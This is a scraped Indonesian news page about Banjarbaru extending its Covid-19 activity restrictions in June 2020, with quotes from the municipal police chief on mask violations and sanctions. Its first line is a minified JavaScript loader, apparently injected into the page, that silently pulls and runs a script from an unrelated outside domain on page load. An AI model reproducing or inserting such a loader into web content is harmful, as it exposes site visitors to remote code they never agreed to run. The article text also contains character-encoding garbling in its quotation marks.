(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU –Â Pembatasan Kegiatan Masyarakat (PKM) di Kota Banjarbaru masih berlaku, setelah Pemerintah Kota (Pemko) memperpanjang hingga 26 Juni.
Seperti yang diketahui, pemberlakuan PKM bertujuan mendisplinkan prilaku masyarakat agar menerapkan prokol kesehatan di tengah pandemi Covid-19. Upaya ini dilakukan supaya masyarakat Banjarbaru siap menyongsong tatanan hidup baru alias fase New Normal.
Namun begitu, selama PKM berlangsung dua kali, masih saja ditemui warga yang abai dengan protokol kesehatan. Pelanggaran yang paling banyak ditemui ialah berkerumun dan tidak menggunakan masker.
“Cenderung kita menemukan warga yang tidak menggunakan masker. Yang sangat kita sayangkan, kebanyakan remaja yang seharusnya bisa memahami soal protokol pencegahannya,†kata Kasat Pol PP Banjarbaru Marhain Rahman, Rabu (24/6/2020) siang.
Anggota Satpol PP Banjarbaru memberi sanksi kepada remaja yang abai protokol kesehatan Covid-19. foto: satpol pp banjarbaru
Maka tak ayal, petugas gabungan dari Polri, TNI, Satpol PP, serta Dinas Perhubungan (Dishub) memberikan teguran dan sanksi fisik bagi warga yang acuh. Hanya saja, sanksi fisik yang diberikan petugas juga melihat kondisi.
“Kita lihat warganya dulu. Kalau secara kondisi fisik atau usia tidak memungkinkan kita akan berikan pemahaman saja,†lanjut Marhain.
Khusus untuk tempat-tempat kerumunan di beberapa kedai maupun kafe, kata Marhain, hal ini juga menjadi atensi pihaknya. Sebab, kasus serupa selalu ditemukan meski pihak pengelola kedai atau kafe sudah ditegur.
“Beberapa tempat itu bahkan sudah ada yang kita tegur tetapi hari-hari ke depannya seperti itu lagi. Nah jadi memang selain upaya pendisiplinan, harus ada kesadaran dari pengelola dan pengunjungnya juga,†tambahnya.
Lantas apakah usaha-usaha ini disanksi secara izin operasional? Marhain menjawab sejauh ini sanksi masih sebatas teguran lisan. Belum ada dilayangkan surat peringatan.
“Belum ada (sanksi tertulis). Masih teguran lisan untuk usaha yang kedapatan melanggar. Tapi jika memang ada yang fatal tentu bisa berpotensi (disanksi izin operasional),†lugasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.